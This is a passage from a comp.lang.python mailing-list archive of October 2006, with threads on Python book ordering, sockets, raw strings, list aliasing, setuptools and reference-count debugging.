order. If the book simply ommitted functions then it would be a
shocking ommission. As it is, it is just a curious way of sequencing
topics. Functions are in chapter 11 out of 23 chapters - sounds like
the "core" of the book to me.

Chun does emphasize the first-class status of functions in Python -
something which is fairly important to me since I have dabbled on and
off with functional programming the last few years (mostly SML) and am
interested in seeing the extend to which Python is genuinely
"multi-paradigm" - able to blend the functional and imperative (and OO)
paradigms together.

-John Coleman

Nick Vatamaniuc wrote:
> I would consider that an omission. Functions are very important in
> Python. I think the user/reader should see the _def_ and _class_
> statement fairly soon in the introduction.  The name of the book is
> thus somewhat misleading, because functions are at the "core" of
> Python.
>
> Functions should be right there with the integers, strings, files,
> lists and dictionaries. Another important point to stress, in my
> opinion,  is that functions are first-class objects. In other words
> functions can be passes around just like strings and numbers!
>
> -Nick Vatamaniuc
>
>
> John Coleman wrote:
> > Greetings,
> >    My copy of the second edition of Chun's "Core Python Programming"
> > just arrived from Amazon on Friday. What really jumped out at me is an
> > interesting feature about how it sequences its topics, namely,
> > (user-defined) functions are not introduced until chapter 11, fully 400
> > pages into the book. This contrasts strongly with a traditional
> > "Introduction to language X" book which has a chapter sequence roughy
> > like:
> >
> > Chapter 1) Intro - Hello World
> > Chapter 2) Variables
> > Chapter 3) If, if-else
> > Chapter 4) Loops
> > Chapter 5) Functions and/or subroutines
> >
> > The exact details vary from book to book and language to language of
> > course, but usually the above topics are covered in the first 100-150
> > pages since it is hard to do anything interesting until all of these
> > tools are under your belt. Chun's book by contrast is able, on the
> > strength of Python's built-in functions, to cover a fair amount of
> > relatively interesting things (dictionaries, file IO, exception
> > handling, etc.) before introducing user-defined functions.
> >
> > I don't want to read too much into this, but the mere fact that it is
> > possible to write a Python book in this fashion seems to confirm the
> > "batteries are included" philosophy of Python. Perhaps there is less
> > need to learn how to roll your own batteries as soon as possible.
> > 
> > -John Coleman



From vedran_dekovic at yahoo.com  Sun Oct  1 10:11:08 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 1 Oct 2006 07:11:08 -0700
Subject: SHTOOM
Message-ID: <1159711868.690391.66400@i42g2000cwa.googlegroups.com>

Hello,
I am a new shtoom user,but I have one problem.I was download last
shtoom source and when I write
example:


>>> from shtoom.app.phone import Phone

Traceback (most recent call last):
  File "<pyshell#0>", line 1, in -toplevel-
    from shtoom.app.phone import Phone
ImportError: No module named app.phone

..I think I need file app.py,where to I find that file???
If you have that file please send me:   vedran_dekovic at yahoo.com




                   THANKS!!!!!!!!!!!!!!!!!!!!!!!!!!!!



From bjobrien62 at gmail.com  Thu Oct  5 15:11:07 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 5 Oct 2006 12:11:07 -0700
Subject: socket client server... simple example... not working...
In-Reply-To: <mailman.1357.1160060259.10491.python-list@python.org>
References: <1160056909.927803.251790@i42g2000cwa.googlegroups.com>
	<mailman.1357.1160060259.10491.python-list@python.org>
Message-ID: <1160075467.308635.259120@i42g2000cwa.googlegroups.com>


Jean-Paul Calderone wrote:
> On 5 Oct 2006 07:01:50 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> > [snip]
> >
> >Jean-Paul many thanks for this and your effort.
> >but why is it every time I try to do something with 'stock' python I
> >need another package?
>
> Maybe you are trying to do things that are too complex :)
>
No quite the contrary.. Which is why I want to keep it simple...

> >By the time I've finished my project there are like 5 3rd party add-ons
> >to be installed.
>
> I don't generally find this to be problematic.
>
I have because it usually means makeing on many platforms...
Most of the time this is the nightmare.


> >I know I'm a python newbie... but I'm far from a developer newbie and
> >that can be a recipe for
> >disaster.
>
> Not every library can be part of the standard library, neither can the
> standard library satisfy every possible use-case.  Relying on 3rd party
> modules isn't a bad thing.
>
No but the less number of lines of code I have to support the better.


> >The stock socket should work and I think I've missed an
> >obvious bug in the code other
> >than checking the return status.
> >
>
It was indeed as you said I was trying to read/write on the server
socket
not the client socket. (of the server module)


> Well, I did mention one bug other than failure to check return values.
> Maybe you missed it, since it was in the middle.  Go back and re-read
> my response.
> 

Thanks again.
B.

> Jean-Paul



From email at christoph-haas.de  Sun Oct 22 03:35:36 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Sun, 22 Oct 2006 09:35:36 +0200
Subject: question: script to input data into a webpage and then retrieve
	the result?
In-Reply-To: <002401c6f5a0$2b5aeef0$0302a8c0@MENG>
References: <002401c6f5a0$2b5aeef0$0302a8c0@MENG>
Message-ID: <200610220935.36854.email@christoph-haas.de>

On Sunday 22 October 2006 08:06, mxywp wrote:
> Could someone help me with this or share an example script with me?
>
> Here is what I want to accomplish:
> (1) input 3 values into 3 boxes on a web page
> (2) there is an authentication code each time you access this page and I
> have to write this code into the fourth box on the same page (3) click
> "submit" button
> (4) this web page will turn into a page with a table having a value
> calculated from my inputs (5) extract this value into a local file
> (6) repeat the above for 12000 times.
>
> I would really appreciate it if someone can tell me how to do it using
> python script. I am new to python web programming.

Dark side way:
 http://www.idyll.org/~t/www-tools/twill.html

 Christoph

P.S.: One posting is usually sufficient to get a reply.


From http  Wed Oct 25 11:57:35 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 08:57:35 -0700
Subject: web-based SSH
References: <mailman.1168.1161773998.11739.python-list@python.org>
Message-ID: <7xpscg9ymo.fsf@ruckus.brouhaha.com>

Astan Chee <stanc at al.com.au> writes:
> I was looking for a web-based SSH client (something like
> www.port42.com..but for some reason it doesnt work..can anyone verify

http://www.google.com/search?q=ssh+applet


From python at hope.cz  Fri Oct 27 10:17:40 2006
From: python at hope.cz (Lad)
Date: 27 Oct 2006 07:17:40 -0700
Subject: Test
Message-ID: <1161958660.540574.147540@e3g2000cwe.googlegroups.com>

Test



From python.list at tim.thechases.com  Fri Oct 27 15:27:45 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Fri, 27 Oct 2006 14:27:45 -0500
Subject: What's the best IDE?
In-Reply-To: <1161976496.903281.302940@i42g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161976496.903281.302940@i42g2000cwa.googlegroups.com>
Message-ID: <45425DB1.7040308@tim.thechases.com>

>> What's your favorite IDE?
> 
> emacs
> 
>> What do you like about it?
> 
> It does just about everything. It can edit just about every kind of
> code I use, read my mail, connection to irc ... everything. Well,
> except order pizza, but I think it might be possible to make that
> happen as well.


Well, if it doesn't have it built in, you can always shell out to 
use this program:

http://www.beigerecords.com/cory/pizza_party/

:)

-tkc




From simon at brunningonline.net  Tue Oct 17 09:55:44 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Tue, 17 Oct 2006 14:55:44 +0100
Subject: Looking for assignement operator
In-Reply-To: <eh2n08$4ji$1@online.de>
References: <eh2n08$4ji$1@online.de>
Message-ID: <8c7f10c60610170655g6a595cb1vf985cd24f9ba6278@mail.gmail.com>

On 10/17/06, Alexander Eisenhuth <newsuser at stacom-software.de> wrote:
> Hello,
>
> is there a assignement operator, that i can overwrite?

Soirry, no, assignment is a statement, not an operator, and can't be overridden.

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From python.list at tim.thechases.com  Tue Oct 17 16:57:01 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 17 Oct 2006 15:57:01 -0500
Subject: Python Web Site?
In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <4535439D.9070005@tim.thechases.com>

> Is there a problem with the Python and wxPython web sites?
> I cannot seem to get them up

Sounds like someone needs some pyagra...

(grins, ducks, and runs)

the-red-or-blue-pill'ly yers,

-tkc







From sjmachin at lexicon.net  Sun Oct  8 09:03:28 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 06:03:28 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
Message-ID: <1160312607.909565.95150@i3g2000cwc.googlegroups.com>


Ben wrote:
> Ah... my list is a string. That explains the len() results, but not why
> it is a string in the dirst place.
>
> I have a dictionary containing a number of instances of the following
> class as values:
>
> class panel:
>     mops =[]
>
>     def __init__(self,number,level,location,mops,matrix):
>          self.number=number
>          self.level=level
>          self.location=location
>          self.mops=mops
>          self.matrix=matrix
>
>
> abve mops is a list, yet when I access it it is a string...
>

Well, if you are going to spare us from reading all of your code,
you'll have to debug it yourself. The clue that Fredrik gave you is
*not* of the use-once-and-discard variety -- when you are having
problems with the pixies changing your lists into strings, you need to
sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient
points in your code; as first statement in that __init__ method would
be a good start.



From steve at holdenweb.com  Sat Oct  7 03:18:48 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 08:18:48 +0100
Subject: dictionary containing a list
In-Reply-To: <1160172055.962140.180110@b28g2000cwb.googlegroups.com>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
	<1160172055.962140.180110@b28g2000cwb.googlegroups.com>
Message-ID: <eg7kb1$ve9$1@sea.gmane.org>

John Machin wrote:
> Ben wrote:
> 
>>Hello...
>>
>>I have set up a dictionary into whose values I am putting a list. I
>>loop around and around filling my list each time with new values, then
>>dumping this list into the dictionary. Or so I thought...
>>
>>It would appear that what I am dumping into the dictionary value is
>>only a pointer to the original list, so after all my iterations all I
>>have is a dictionary whose every value is equal to that of the list the
>>final time I looped around :-(
>>
>>Is there a way to acheive what I was attempting ? I have done something
>>almost identical with classes  in a list before, and in that case a new
>>instance was created for each list entry...
>>
>>
>>I hope this makes some sense, and doesn't seem to head bangingly
>>simple...
>>
> 
> 
> Do you consult your physician over a video link while wearing a ninja
> costume down an unlit coal mine at midnight?
> 
> Please consider the possibility that your description of what you think
> your code might be doing is not enough for diagnosis.
> 
> You may need to supply:
> (1) a listing of your code
> (2) a small amount of input data
>    e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')]
> (3) the output you expect from that input:
>    e.g. {1: ['foo', 'zot'], 42: ['bar']}
> 
One of the fascinating things about c.l.py is that sometimes a questin 
will be posted that makes almost no sense to me, and somebody else will 
casually read the OP's mind, home in on the issue and provide a useful 
and relevant answer.

In this case it seems transparent to me, though probably not to you, 
that Ben's problem is rootd in the following behaviour, well-known in 
python but frequently confusing to noobs:

  >>> a = [1, 2, 3]
  >>> firstlist = a
  >>> a.append('another element')
  >>> firstlist
[1, 2, 3, 'another element']
  >>>

Ben probably needs to look at creating copies using the list() type:

  >>> a = [1, 2, 3]
  >>> firstlist = list(a)
  >>> a.append('another element')
  >>> firstlist
[1, 2, 3]
  >>>

or perhaps, in omore complex circumstances, using the copy module.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From grflanagan at yahoo.co.uk  Sat Oct 14 16:29:14 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 14 Oct 2006 13:29:14 -0700
Subject: broken links on effbot.org
Message-ID: <1160857754.125562.255020@e3g2000cwe.googlegroups.com>

The links here seem to be broken:

    http://effbot.org/zone/element-index.htm#documentation

I'm getting:

sorry, /zone/page.cgi?page=element does not exist

sorry, /zone/page.cgi?page=pythondoc-elementtree-ElementTree does not
exist

It was working two days ago, possibly yesterday (13th Oct).

Gerard



From mrquantum at holon.at  Wed Oct  4 05:59:07 2006
From: mrquantum at holon.at (mrquantum)
Date: Wed, 04 Oct 2006 11:59:07 +0200
Subject: string: __iter__()?
Message-ID: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>

Hello!

Just for curiosity i'd like to know why strings don't support the
iteration protocoll!? Is there some deeper reason for this?

>>> hasattr('SomeString', '__iter__')
False

In Python 2.5 it's actually simple to obtain one:

>>> myIter = (c for c in 'SomeString')
>>> myIter.next()
'S'

Thanks for info!

Chris


From duncan.booth at invalid.invalid  Tue Oct  3 07:09:22 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 3 Oct 2006 11:09:22 GMT
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
Message-ID: <Xns98517BA924221duncanbooth@127.0.0.1>

"Matthew Warren" <Matthew.Warren at Digica.com> wrote:

> I would expect this to work,
> 
> rawstring=r'some things\new things\some other things\'
> 
> But it fails as the last backslash escapes the single quote.
> 
> ..although writing this I think I have solved my own problem. Is \'
> the only thing escaped in a raw string so you can place ' in a raw
> string? Although I thought the correct thing in that case would be;
> 
> rawstring=r"rawstring'with single-quote"

You cannot end *any* string literal with an odd number of backslash 
characters. The "r" prefix changes how the escape sequences are interpreted 
after the string literal has been parsed, it doesn't change how the literal 
itself is actually parsed. See the Python Reference Manual, 2.4.1:

> When an "r" or "R" prefix is present, a character following a
> backslash is included in the string without change, and all
> backslashes are left in the string. For example, the string literal
> r"\n" consists of two characters: a backslash and a lowercase "n".
> String quotes can be escaped with a backslash, but the backslash
> remains in the string; for example, r"\"" is a valid string literal
> consisting of two characters: a backslash and a double quote; r"\" is
> not a valid string literal (even a raw string cannot end in an odd
> number of backslashes). Specifically, a raw string cannot end in a
> single backslash (since the backslash would escape the following quote
> character). Note also that a single backslash followed by a newline is
> interpreted as those two characters as part of the string, not as a
> line continuation. 


From apardon at forel.vub.ac.be  Fri Oct  6 06:57:01 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Oct 2006 10:57:01 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1449.1160131361.10491.python-list@python.org>
Message-ID: <slrneicdjt.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Antoon Pardon wrote:
>
>> IMO this is a very natural thought process for a python programmer.
>> So a python programmer seeing the first will tend to expect that
>> last call to work.
>
> on the other hand, if a Python programmer *writes* some code instead; 
> say, a trivial function like:
>
> 	def calculate(a, b):
>              # approximate; gonna have to fix this later
>              return a + b * 1.2
>
> chances are that he did *not* intend this to be called as
>
>          calculate(a=1, b=2)
>
> or, for that matter,
>
>          calculate(b=2, a=1)
>
> or
>
>          calculate(1, b=2)

Well maybe he didn't intend that, but how is the reader of the
documentation to know that? The reader can only go by how
things are documented. If those are not entirely consistent
with the intend of the programmer, that is not the readers
fault.

> just because the Python calling machinery currently happens to allow 
> that.  And chances are that he did *not* expect to be stuck with those 
> argument names for the foreseeable future, just because someone else 
> decided to interpret things in the most literal way they possibly could.

And how it the reader of the documentation to know about the
expectations of the programmer? It isn't the readers fault
if those expectations aren't easily inferred from the documenation.

> Python 2.X doesn't provide convenient support for distinguishing between 
> accidental and intentional argument names when you implement a function; 
> that's a wart, not a feature, and it may be addressed in 3.X.

Again that is not the fault of those that read the documentation. If
this discinction can't be easily made in python 2.X, you can't fault
the reader for coming to a conclusion that seems to follow rather
naturally from how python currently works.

-- 
Antoon Pardon


From fulvio at tm.net.my  Wed Oct 18 09:54:02 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 18 Oct 2006 21:54:02 +0800
Subject: a little about regex
In-Reply-To: <1161160990.381368.53770@m73g2000cwd.googlegroups.com>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<1161160990.381368.53770@m73g2000cwd.googlegroups.com>
Message-ID: <200610182154.02094.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Wednesday 18 October 2006 16:43, Rob Wolfe wrote:

> |def filter(adr): ? ?# note that "filter" is a builtin function also
> |? ? import re

I didn't know it, but my function _is_  starting by underscore (a bit of 
localization :) )

> |? ? allow = re.compile(r'.*(?<!\.com)\.my(>|$)') ?# negative lookbehind
> |? ? deny = re.compile(r'.*\.com\.my(>|$)')

Great,  it works perfectly. I found my errors.
I didn't use r ahead of the patterns and i was close to the 'allow' pattern 
but didn't give positive result and KregexEditor reported wrong way. This 
specially because of '<' inside the stream. I thing that is not a normal 
regex input. It's only python valid. Am I right?

More details are the previous thread.

F




From jackokring at gmail.com  Sat Oct 14 09:14:17 2006
From: jackokring at gmail.com (jacko)
Date: 14 Oct 2006 06:14:17 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160793654.283357.282450@b28g2000cwb.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<1160629438.895503.225980@c28g2000cwb.googlegroups.com>
	<1160793654.283357.282450@b28g2000cwb.googlegroups.com>
Message-ID: <1160831657.319809.114670@m73g2000cwd.googlegroups.com>


Paddy wrote:
> werty wrote:
> > Apples/oranges ?   programmers are making very little $$ today .
> >    Thats software !   No one is makin money on obsolete Forth ,
> > so why a comparisom ?
> >
> >   Ultimately the best OpSys will be free and  millions of lines of code
> >  obsoleted .  Because no one can protect intellectual property , its
> > simply too costly for a Government to do this .
> >
> >   Notice the crypto fiasco , the USA govt forbad export of SSL and
> > in short order Australia gave the world a free SSLeasy !
> >
> >    This is software .  No one will , for long , own software .
> >  Microsoft and Linux will die in 24 months .   No hardware will
> > produce money/profits using them .
> >
> >   Because we have a new hardware competitor , that obsoletes the BIOS
> >  chip , North bridge/South bridge USB helpers , NICs .
> >   No mo PNP (Plug_and_Pray) .
> >   In 2 chips ( CPU /SoC and LCD controller) it will be faster than
> >  a PC .  100's have allready written HDD drivers and haven't yet
> >  free'd them .  But when others give free , what good do it to
> >  hold yours !    You look stupid selling what others improve and
> > free .   Trying to sell what others find easy to create !
> >   Intel made hardware too hard to program , ARM is easy .
> >   Python wont last on ARM , for WCE and Linux will be tossed .
> >   A simpler structured method will be used to customise
> >   Browsers . There will be 2 columns , one on left will be main/orig
> > but on the Right will have hyperlink result .  This way ya dont have
> >  to go back to compare !   side by side .
> >   Text editors will also work this way . You will read orig in left
> > columns
> >  and 'edit'/annotate  your stuff to the Right columns .
> >
> >   Sun microsystems et all ( the ones we seldom think about ) will
> >  all be obsoleted , bankrupted , their hardware surplused .
> >   No more h/w servers .
> >  There will be no high speed 64 bit boxes in the future .
> >   The Pocket PC will do work you could not  imagine !
> >   All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N
> >   and no WERTY  keyboard !  full GUI ...
> >   ethernet and firewire and rs232 will die
> >
> >   Why not "see" the future ?
> >  No Linux ,no WXP , no C+ , no PC .....
>
> Hah! This is the output from a program and I claim my prize.
> :-)

werty bot has to claim the prize to prove intelligence challange ;-)



From jjl at pobox.com  Tue Oct  3 14:32:15 2006
From: jjl at pobox.com (John J. Lee)
Date: 03 Oct 2006 19:32:15 +0100
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <uwt7hgsi8.fsf@pobox.com>

"Simon  Willison" <swillison at gmail.com> writes:

> Hi all,
> 
> I have an API design question. I'm writing a function that can either
> succeed or fail. Most of the time the code calling the function won't
> care about the reason for the failure, but very occasionally it will.
> 
> I can see a number of ways of doing this, but none of them feel
> aesthetically pleasing:
> 
> 1.
> 
> try:
>   do_something()
> except HttpError:
>   # An HTTP error occurred
> except ApplicationError:
>   # An application error occurred
> else:
>   # It worked!
> 
> This does the job fine, but has a couple of problems. The first is that
> I anticipate that most people using my function won't care about the
> reason; they'll just want a True or False answer. Their ideal API would
> look like this:
> 
> if do_something():
>   # It succeeded
> else:
>   # It failed
> 
> The second is that the common path is success, which is hidden away in
> the 'else' clause. This seems unintuitive.

It's hard to answer this without knowing any of the real details
you've hidden from us: I'm not sure I believe you that the code at the
call site necessarily needs to know whether the function call
succeeded at all.  Perhaps the preferred usage might sometimes be:

do_something()


Exceptions raised may be caught (or not, if the application does not
find that necessary), elsewhere than at the call site -- they can be
caught further up the stack.  You are of course aware of this fact,
but your discussion seems to imply that this crucial piece of
knowledge was not active in your mind when you wrote it.

I think Python users are right to "default to" raising exceptions.
There's a nice label for this practice:

http://c2.com/cgi/wiki?SamuraiPrinciple

"""
Samurai Principle

Return victorious, or not at all.
"""


:-)

(though I imagine that term is used with subtly different meanings by
different people...)


As others have suggested, often it is useful if most exceptions that
can be raised by a callable are instances of a single class.  This can
be achieved through inheritance (make them all derive from one class)
or composition (stuff the various original exceptions into a wrapper
exception).


John



From hanumizzle at gmail.com  Fri Oct  6 01:09:36 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 01:09:36 -0400
Subject: A Universe Set
In-Reply-To: <45242F8B.5070008@freakmail.de>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<45242F8B.5070008@freakmail.de>
Message-ID: <463ff4860610052209s345a3ee0q56579117d5dc35f1@mail.gmail.com>

On 10/4/06, Wildemar Wildenburger <wildemar at freakmail.de> wrote:
> Jorgen Grahn wrote:
> > - the wildcard object, which compares equal to everything else
> > - infinite xrange()s
> > - the black hole function 'def f(*args): pass'
> > - the identity function 'def f(x): return x'
>
> Any use cases for these?

I used the last one in my .emacs (but it had a lot to with stupid
emacs lisp). It might also be useful for some theoretical aspects of
FP and mathematical applications (maybe! IANAE!!). See:
http://en.wikipedia.org/wiki/Fixed_point_%28mathematics%29

-- Theerasak


From thomas.weholt at gmail.com  Tue Oct 24 08:40:18 2006
From: thomas.weholt at gmail.com (Thomas W)
Date: 24 Oct 2006 05:40:18 -0700
Subject: Tutorial on setuptools
Message-ID: <1161693618.560803.272260@h48g2000cwc.googlegroups.com>

I'm might just be dumb, but I cannot get the hang of usting setuptools
based on the docs at
http://peak.telecommunity.com/DevCenter/setuptools. Is there a simple
example available showing how to pack a few modules, a few scripts,
some resources files ( images ) and list a few dependencies ?

I've searched google and the links I found seemed to be dead or not
about setuptools at all, but as I allready mentioned; I might be
loosing my mind over here so ...



From bdesth.quelquechose at free.quelquepart.fr  Sat Oct 21 17:52:28 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Sat, 21 Oct 2006 23:52:28 +0200
Subject: Inheriting property functions
In-Reply-To: <1161384736.205021.275130@f16g2000cwb.googlegroups.com>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
	<1161384736.205021.275130@f16g2000cwb.googlegroups.com>
Message-ID: <453a9244$0$8197$426a74cc@news.free.fr>

mdsteele at gmail.com a ?crit :
(snip)
> The trouble is that get_a and set_a are attributes of the _class
> object_ A.  Instances of A (and hence, instances of B) will see them,
> but the class B will not,

Yes it does:

 >>> class A(object):
...     aa = "aa"
...
 >>> class B(A):pass
...
 >>> B.aa
'aa'
 >>>


> so you have to point to them explicitly with
> A.get_a and A.set_a.

Actually, while the solution is good, the explanation is wrong.



From tejovathi.p at gmail.com  Fri Oct 13 23:21:04 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 20:21:04 -0700
Subject: terminate execfile
In-Reply-To: <1160795552.494568.263530@k70g2000cwa.googlegroups.com>
References: <1160795552.494568.263530@k70g2000cwa.googlegroups.com>
Message-ID: <1160796064.637081.75250@e3g2000cwe.googlegroups.com>


Teja wrote:

> How to terminate execfile() in the middle of its execution. Any
> pointers ???
> Its very urgent please........
>
>
> Thanks
> Teja.P

Can I raise an interrupt using PyErr_SetInterrupt??? Is so , does any
one know how to do it?



From fredrik at pythonware.com  Thu Oct 26 03:29:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 09:29:47 +0200
Subject: Fatal Python error: deallocating None
In-Reply-To: <7.0.1.0.0.20061025222550.05f38068@yahoo.com.ar>
References: <1161822535.445257.143360@i3g2000cwc.googlegroups.com>
	<7.0.1.0.0.20061025222550.05f38068@yahoo.com.ar>
Message-ID: <ehpo5b$mhv$1@sea.gmane.org>

Gabriel Genellina wrote:

> Mmm, it appears that one of these C extensions isn't managing the ref 
> count correctly - perhaps there is a return Py_None without a previous 
> Py_INCREF? If None were returned in certain functions to indicate 
> failure or something exceptional - and not a regular condition - that 
> would explain that it doesn't fail very often.
> Unfortunately I don't know how to debug this - except by carefully 
> inspecting the C code :(

inserting

     print sys.getrefcount(None)

at strategic locations in your code will usually help you identify the
culprit.

(last time I stumbled upon this was in an earlier release of "sqlite",
which leaked one Py_None every time you connected to the database.  our
application contained a separate task that created it's own database
connection every 15:th minute or so, to calculate some statistics.  and
a fresh Python interpreter contains 500-600 references to Py_None...)

</F>



From paddy3118 at netscape.net  Sun Oct 15 05:14:46 2006
From: paddy3118 at netscape.net (Paddy)
Date: 15 Oct 2006 02:14:46 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <mailman.529.1160891759.11739.python-list@python.org>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
	<1160886206.594661.321230@e3g2000cwe.googlegroups.com>
	<mailman.529.1160891759.11739.python-list@python.org>
Message-ID: <1160903686.538807.201310@i42g2000cwa.googlegroups.com>


Ben Finney wrote:
> "Chris" <chrispatton at gmail.com> writes:
>
> > Oh, ok that explains it. Is that why my 16-bit calculator gives me
> > 0?
>
> Your calculator is probably doing rounding without you asking for it.
>
> Python refuses to guess what you want, and gives you the information
> available.
>
Hi Ben,
I don't think Python should take too much credit here. Floating point
calcuations are subject to rounding. Sometimes it shows.

- Pad.



From noway at sorry.com  Sat Oct  7 03:49:59 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sat, 07 Oct 2006 07:49:59 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>
	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>
	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com>
	<mailman.1457.1160140815.10491.python-list@python.org>
Message-ID: <H_IVg.138311$zy5.1854132@twister1.libero.it>

skip at pobox.com wrote:

>     Giovanni> Are bug-tracker configuration issues so critical that
>     having Giovanni> to wait 48-72hrs to have them fixed is
>     absolutely unacceptable Giovanni> for Python development?
>
> Yes, I think that would put a crimp in things.  The downtimes we see
> for the SourceForge tracker tend to be of much shorter duration than
> that (typically a few hours) and cause usually minor problems when
> they occur.  For the tracker to be down for 2-3 days would make the

I was actually thinking of 48-72hrs to do regulard admin work like installing
latest security patch or actrivate a new account.

> developers temporarily blind to all outstanding bug reports and
> patches during that time and prevent non-developers from submitting
> new bugs, patches and comments.  Those people might well forget about
> their desired submission altogether and not return to submit them
> once the tracker was back up.

I understand your concerns, but I have to remember you that most bug reports
submitted by users go totally ignored for several years, or, better, forever. I
do not have a correct statistic for this, but I'm confident that at least 80%
of the RFE or patches filed every week is totally ignored, and probably at
least 50% of the bugs too. I think there is a much bigger problem here wrt QOS.

So, you might prefer 6-10 people to activate a new tracker account faster than
light. I'd rather have 3-days delay in administrative issues because our single
administrator is sleeping or whatever, and then have 2-3 people doing regular
bug processing.
-- 
Giovanni Bajo




From g.franzkowiak at onlinehome.de  Sun Oct 29 12:14:23 2006
From: g.franzkowiak at onlinehome.de (g.franzkowiak)
Date: Sun, 29 Oct 2006 18:14:23 +0100
Subject: wx.EVT_TOOL_RCLICKED
Message-ID: <ei2nb0$hdq$1@online.de>

Hi everybody,

I want use wx.EVT_TOOL_RCLICKED for an toolbar, but I've got no 
responcses under Linux.

The following part works under MSW, but under Linux..., the
"wx.EVT_TOOL_RCLICKED" generate nothing:

tb.AddTool(TB_ID, './*.png',isToggle=True)
self.Bind(wx.EVT_TOOL,          self.OnToolLeftClick,  id=TB_ID)
self.Bind(wx.EVT_TOOL_RCLICKED, self.OnToolRightClick, id=TB_ID)


Can somebody help ?

gerd


PS:

System parts:

	wxPython 2.6.3.2
	(wxGTK, unicode, gtk2, wx-assertions-off, SWIG-1.3.27)
	Running on Python 2.3.5

AND

	wxPython 2.6.1.2pre
	(wxGTK, unicode, gtk2, wx-assertions-off)
	Running on Python 2.4.3



From mail at microcorp.co.za  Wed Oct 11 00:57:31 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 11 Oct 2006 06:57:31 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com>
